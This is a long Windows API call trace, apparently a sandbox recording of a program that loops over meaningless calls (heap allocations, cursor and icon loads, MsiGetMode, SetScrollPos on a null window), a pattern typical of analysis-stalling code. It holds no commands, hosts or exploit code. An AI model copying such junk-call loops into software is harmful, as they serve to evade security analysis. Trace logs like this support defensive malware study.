	[0095.496] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.496] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.496] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.496] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.519] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.519] GetCurrentProcessId () returned 0xb50
	[0095.519] GetLastError () returned 0x578
	[0095.519] GetLastError () returned 0x578
	[0095.519] GetLastError () returned 0x0
	[0095.519] ReleaseMutex (hMutex=0x360) returned 1
	[0095.519] CloseHandle (hObject=0x360) returned 1
	[0095.519] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1398827334, bRedraw=1) returned 0
	[0095.620] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.620] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.621] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.621] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.621] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.621] GetCurrentProcessId () returned 0xb50
	[0095.621] GetLastError () returned 0x578
	[0095.621] GetLastError () returned 0x578
	[0095.621] GetLastError () returned 0x0
	[0095.621] ReleaseMutex (hMutex=0x360) returned 1
	[0095.621] CloseHandle (hObject=0x360) returned 1
	[0095.621] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=2017756916, bRedraw=1) returned 0
	[0095.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.622] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.622] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.622] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.622] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.622] GetCurrentProcessId () returned 0xb50
	[0095.622] GetLastError () returned 0x578
	[0095.622] GetLastError () returned 0x578
	[0095.622] GetLastError () returned 0x0
	[0095.622] ReleaseMutex (hMutex=0x360) returned 1
	[0095.622] CloseHandle (hObject=0x360) returned 1
	[0095.622] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1648650846, bRedraw=1) returned 0
	[0095.622] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.622] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.622] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.622] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.622] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.622] GetCurrentProcessId () returned 0xb50
	[0095.622] GetLastError () returned 0x578
	[0095.622] GetLastError () returned 0x578
	[0095.622] GetLastError () returned 0x0
	[0095.622] ReleaseMutex (hMutex=0x360) returned 1
	[0095.622] CloseHandle (hObject=0x360) returned 1
	[0095.623] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1010461360, bRedraw=1) returned 0
	[0095.623] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.623] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.623] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.623] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.623] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.623] GetCurrentProcessId () returned 0xb50
	[0095.623] GetLastError () returned 0x578
	[0095.623] GetLastError () returned 0x578
	[0095.623] GetLastError () returned 0x0
	[0095.623] ReleaseMutex (hMutex=0x360) returned 1
	[0095.623] CloseHandle (hObject=0x360) returned 1
	[0095.623] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-362641922, bRedraw=1) returned 0
	[0095.623] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.623] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.623] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.623] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.623] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.623] GetCurrentProcessId () returned 0xb50
	[0095.623] GetLastError () returned 0x578
	[0095.623] GetLastError () returned 0x578
	[0095.624] GetLastError () returned 0x0
	[0095.624] ReleaseMutex (hMutex=0x360) returned 1
	[0095.624] CloseHandle (hObject=0x360) returned 1
	[0095.624] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=294807468, bRedraw=1) returned 0
	[0095.624] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.624] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.624] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.624] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.624] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.624] GetCurrentProcessId () returned 0xb50
	[0095.624] GetLastError () returned 0x578
	[0095.624] GetLastError () returned 0x578
	[0095.624] GetLastError () returned 0x0
	[0095.624] ReleaseMutex (hMutex=0x360) returned 1
	[0095.624] CloseHandle (hObject=0x360) returned 1
	[0095.624] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=961886810, bRedraw=1) returned 0
	[0095.624] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.624] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.624] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.624] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.624] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.624] GetCurrentProcessId () returned 0xb50
	[0095.627] GetLastError () returned 0x578
	[0095.628] GetLastError () returned 0x578
	[0095.628] GetLastError () returned 0x0
	[0095.628] ReleaseMutex (hMutex=0x360) returned 1
	[0095.628] CloseHandle (hObject=0x360) returned 1
	[0095.628] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1638596104, bRedraw=1) returned 0
	[0095.628] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.628] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.628] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.628] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.628] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.628] GetCurrentProcessId () returned 0xb50
	[0095.628] GetLastError () returned 0x578
	[0095.628] GetLastError () returned 0x578
	[0095.628] GetLastError () returned 0x0
	[0095.628] ReleaseMutex (hMutex=0x360) returned 1
	[0095.628] CloseHandle (hObject=0x360) returned 1
	[0095.628] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1970031946, bRedraw=1) returned 0
	[0095.628] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.628] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.628] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.629] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.629] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.629] GetCurrentProcessId () returned 0xb50
	[0095.629] GetLastError () returned 0x578
	[0095.629] GetLastError () returned 0x578
	[0095.629] GetLastError () returned 0x0
	[0095.632] ReleaseMutex (hMutex=0x360) returned 1
	[0095.632] CloseHandle (hObject=0x360) returned 1
	[0095.632] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1274062748, bRedraw=1) returned 0
	[0095.632] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.633] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.633] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.633] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.633] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.633] GetCurrentProcessId () returned 0xb50
	[0095.636] GetLastError () returned 0x578
	[0095.636] GetLastError () returned 0x578
	[0095.636] GetLastError () returned 0x0
	[0095.636] ReleaseMutex (hMutex=0x360) returned 1
	[0095.636] CloseHandle (hObject=0x360) returned 1
	[0095.636] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-568463598, bRedraw=1) returned 0
	[0095.636] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.636] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.637] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.637] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.637] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.637] GetCurrentProcessId () returned 0xb50
	[0095.637] GetLastError () returned 0x578
	[0095.637] GetLastError () returned 0x578
	[0095.637] GetLastError () returned 0x0
	[0095.637] ReleaseMutex (hMutex=0x360) returned 1
	[0095.637] CloseHandle (hObject=0x360) returned 1
	[0095.637] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=146765504, bRedraw=1) returned 0
	[0095.637] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.637] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.637] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.637] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.637] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.637] GetCurrentProcessId () returned 0xb50
	[0095.637] GetLastError () returned 0x578
	[0095.637] GetLastError () returned 0x578
	[0095.638] GetLastError () returned 0x0
	[0095.638] ReleaseMutex (hMutex=0x360) returned 1
	[0095.638] CloseHandle (hObject=0x360) returned 1
	[0095.638] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=871624558, bRedraw=1) returned 0
	[0095.638] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.638] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.638] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.638] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.638] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.638] GetCurrentProcessId () returned 0xb50
	[0095.638] GetLastError () returned 0x578
	[0095.638] GetLastError () returned 0x578
	[0095.638] GetLastError () returned 0x0
	[0095.638] ReleaseMutex (hMutex=0x360) returned 1
	[0095.638] CloseHandle (hObject=0x360) returned 1
	[0095.638] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1606113564, bRedraw=1) returned 0
	[0095.638] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.638] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.638] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.638] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.638] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.638] GetCurrentProcessId () returned 0xb50
	[0095.638] GetLastError () returned 0x578
	[0095.639] GetLastError () returned 0x578
	[0095.639] GetLastError () returned 0x0
	[0095.639] ReleaseMutex (hMutex=0x360) returned 1
	[0095.639] CloseHandle (hObject=0x360) returned 1
	[0095.639] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1944734774, bRedraw=1) returned 0
	[0095.639] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.639] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.639] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.639] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.639] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.639] GetCurrentProcessId () returned 0xb50
	[0095.639] GetLastError () returned 0x578
	[0095.639] GetLastError () returned 0x578
	[0095.639] GetLastError () returned 0x0
	[0095.639] ReleaseMutex (hMutex=0x360) returned 1
	[0095.639] CloseHandle (hObject=0x360) returned 1
	[0095.639] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1190985864, bRedraw=1) returned 0
	[0095.639] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.639] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.639] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.640] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.640] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.640] GetCurrentProcessId () returned 0xb50
	[0095.640] GetLastError () returned 0x578
	[0095.640] GetLastError () returned 0x578
	[0095.640] GetLastError () returned 0x0
	[0095.640] ReleaseMutex (hMutex=0x360) returned 1
	[0095.640] CloseHandle (hObject=0x360) returned 1
	[0095.640] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-427607002, bRedraw=1) returned 0
	[0095.640] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.640] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.640] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.640] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.640] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.640] GetCurrentProcessId () returned 0xb50
	[0095.640] GetLastError () returned 0x578
	[0095.640] GetLastError () returned 0x578
	[0095.640] GetLastError () returned 0x0
	[0095.640] ReleaseMutex (hMutex=0x360) returned 1
	[0095.640] CloseHandle (hObject=0x360) returned 1
	[0095.640] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=345401812, bRedraw=1) returned 0
	[0095.640] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.640] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.641] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.642] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.642] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.642] GetCurrentProcessId () returned 0xb50
	[0095.642] GetLastError () returned 0x578
	[0095.642] GetLastError () returned 0x578
	[0095.642] GetLastError () returned 0x0
	[0095.642] ReleaseMutex (hMutex=0x360) returned 1
	[0095.642] CloseHandle (hObject=0x360) returned 1
	[0095.642] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1128040578, bRedraw=1) returned 0
	[0095.642] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.642] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.642] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.642] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.642] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.642] GetCurrentProcessId () returned 0xb50
	[0095.642] GetLastError () returned 0x578
	[0095.642] GetLastError () returned 0x578
	[0095.642] GetLastError () returned 0x0
	[0095.642] ReleaseMutex (hMutex=0x360) returned 1
	[0095.642] CloseHandle (hObject=0x360) returned 1
	[0095.642] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1920309296, bRedraw=1) returned 0
	[0095.643] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.643] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.643] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.643] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.643] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.643] GetCurrentProcessId () returned 0xb50
	[0095.643] GetLastError () returned 0x578
	[0095.643] GetLastError () returned 0x578
	[0095.643] GetLastError () returned 0x0
	[0095.643] ReleaseMutex (hMutex=0x360) returned 1
	[0095.643] CloseHandle (hObject=0x360) returned 1
	[0095.643] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1572759330, bRedraw=1) returned 0
	[0095.643] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.643] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.643] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.643] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.643] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.643] GetCurrentProcessId () returned 0xb50
	[0095.643] GetLastError () returned 0x578
	[0095.643] GetLastError () returned 0x578
	[0095.643] GetLastError () returned 0x0
	[0095.643] ReleaseMutex (hMutex=0x360) returned 1
	[0095.643] CloseHandle (hObject=0x360) returned 1
	[0095.643] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-761230708, bRedraw=1) returned 0
	[0095.644] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.644] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.644] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.644] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.644] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.644] GetCurrentProcessId () returned 0xb50
	[0095.644] GetLastError () returned 0x578
	[0095.644] GetLastError () returned 0x578
	[0095.644] GetLastError () returned 0x0
	[0095.644] ReleaseMutex (hMutex=0x360) returned 1
	[0095.644] CloseHandle (hObject=0x360) returned 1
	[0095.644] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=59927866, bRedraw=1) returned 0
	[0095.644] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.644] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.644] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.644] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.644] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.644] GetCurrentProcessId () returned 0xb50
	[0095.644] GetLastError () returned 0x578
	[0095.644] GetLastError () returned 0x578
	[0095.644] GetLastError () returned 0x0
	[0095.644] ReleaseMutex (hMutex=0x360) returned 1
	[0095.644] CloseHandle (hObject=0x360) returned 1
	[0095.645] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=890716392, bRedraw=1) returned 0
	[0095.645] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.645] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.645] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.645] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.645] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.645] GetCurrentProcessId () returned 0xb50
	[0095.645] GetLastError () returned 0x578
	[0095.645] GetLastError () returned 0x578
	[0095.645] GetLastError () returned 0x0
	[0095.645] ReleaseMutex (hMutex=0x360) returned 1
	[0095.645] CloseHandle (hObject=0x360) returned 1
	[0095.645] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1731134870, bRedraw=1) returned 0
	[0095.645] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.645] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.645] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.645] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.645] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.645] GetCurrentProcessId () returned 0xb50
	[0095.645] GetLastError () returned 0x578
	[0095.645] GetLastError () returned 0x578
	[0095.646] GetLastError () returned 0x0
	[0095.646] ReleaseMutex (hMutex=0x360) returned 1
	[0095.646] CloseHandle (hObject=0x360) returned 1
	[0095.646] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1713783996, bRedraw=1) returned 0
	[0095.646] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.646] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.646] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.646] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.646] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.646] GetCurrentProcessId () returned 0xb50
	[0095.646] GetLastError () returned 0x578
	[0095.646] GetLastError () returned 0x578
	[0095.646] GetLastError () returned 0x0
	[0095.646] ReleaseMutex (hMutex=0x360) returned 1
	[0095.646] CloseHandle (hObject=0x360) returned 1
	[0095.646] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-854105614, bRedraw=1) returned 0
	[0095.646] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.646] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.646] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.646] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.646] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.646] GetCurrentProcessId () returned 0xb50
	[0095.647] GetLastError () returned 0x578
	[0095.647] GetLastError () returned 0x578
	[0095.647] GetLastError () returned 0x0
	[0095.647] ReleaseMutex (hMutex=0x360) returned 1
	[0095.647] CloseHandle (hObject=0x360) returned 1
	[0095.647] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=15202720, bRedraw=1) returned 0
	[0095.647] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.647] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.647] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.647] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.647] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.647] GetCurrentProcessId () returned 0xb50
	[0095.647] GetLastError () returned 0x578
	[0095.647] GetLastError () returned 0x578
	[0095.647] GetLastError () returned 0x0
	[0095.647] ReleaseMutex (hMutex=0x360) returned 1
	[0095.647] CloseHandle (hObject=0x360) returned 1
	[0095.647] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=894141006, bRedraw=1) returned 0
	[0095.647] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.647] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.647] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.648] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.648] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.648] GetCurrentProcessId () returned 0xb50
	[0095.648] GetLastError () returned 0x578
	[0095.648] GetLastError () returned 0x578
	[0095.648] GetLastError () returned 0x0
	[0095.648] ReleaseMutex (hMutex=0x360) returned 1
	[0095.648] CloseHandle (hObject=0x360) returned 1
	[0095.648] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=1782709244, bRedraw=1) returned 0
	[0095.648] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.648] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.648] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.648] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.648] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.648] GetCurrentProcessId () returned 0xb50
	[0095.648] GetLastError () returned 0x578
	[0095.648] GetLastError () returned 0x578
	[0095.648] GetLastError () returned 0x0
	[0095.648] ReleaseMutex (hMutex=0x360) returned 1
	[0095.648] CloseHandle (hObject=0x360) returned 1
	[0095.648] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-1614059862, bRedraw=1) returned 0
	[0095.649] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.649] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.649] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.649] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.649] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.649] GetCurrentProcessId () returned 0xb50
	[0095.649] GetLastError () returned 0x578
	[0095.649] GetLastError () returned 0x578
	[0095.649] GetLastError () returned 0x0
	[0095.649] ReleaseMutex (hMutex=0x360) returned 1
	[0095.649] CloseHandle (hObject=0x360) returned 1
	[0095.649] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=-706231720, bRedraw=1) returned 0
	[0095.649] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
	[0095.649] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003
	[0095.649] LoadIconA (hInstance=0x0, lpIconName=0x7f00) returned 0x10027
	[0095.649] HeapFree (in: hHeap=0x2c80000, dwFlags=0x0, lpMem=0x2c814d0 | out: hHeap=0x2c80000) returned 1
	[0095.649] MsiGetMode (hInstall=0x773, eRunMode=0x10) returned 0
	[0095.649] GetCurrentProcessId () returned 0xb50
	[0095.649] GetLastError () returned 0x578
	[0095.649] GetLastError () returned 0x578
	[0095.649] GetLastError () returned 0x0
	[0095.649] ReleaseMutex (hMutex=0x360) returned 1
	[0095.649] CloseHandle (hObject=0x360) returned 1
	[0095.650] SetScrollPos (hWnd=0x0, nBar=3473465, nPos=211226374, bRedraw=1) returned 0
	[0095.650] RtlAllocateHeap (HeapHandle=0x2c80000, Flags=0x0, Size=0xc) returned 0x2c814d0
